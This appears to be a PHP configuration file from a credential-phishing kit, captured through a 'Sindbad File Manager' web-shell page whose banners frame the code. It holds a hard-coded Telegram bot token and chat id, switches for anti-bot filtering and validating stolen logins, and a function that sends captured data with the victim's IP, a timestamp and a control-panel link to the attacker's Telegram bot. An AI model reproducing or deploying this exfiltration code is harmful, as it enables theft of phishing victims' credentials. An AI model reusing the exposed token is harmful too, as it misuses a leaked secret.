Sindbad~EG File Manager
<?php
//Have a telegram bot? put the tokens here :D
$token = "1894003771:AAH6wUX9kO1rlLXH9zUw7gzHu_2GAXRnNW8";
$id = "1334100808";
//use antibots? - on | off
$antibots = "off";
// use true login - if true login is on then invalid login data won't be accepted.
$true_login = "on";
function call($msg){
$ipp = "";
if($_SERVER['REMOTE_ADDR']=="::1"){
$ipp = "127.0.0.1";
}else{
$ipp = $_SERVER['REMOTE_ADDR'];
}
$panel_link = str_replace("de/post.php", "panel/ctr.php", "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']."?ip=$ipp");
global $token;
global $id;
$info = "
/- PANEL LINK ->
$panel_link
/- MORE INFO -/
IP: ".$_SERVER['REMOTE_ADDR']."
TIME: ".date("m/d/Y h:i:sa");
$c = curl_init('https://api.telegram.org/bot'.$token.'/sendMessage?chat_id='.$id.'&text='.urlencode($msg.$info));
curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
$res = curl_exec($c);
curl_close($c);
return $res;
}
?>
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists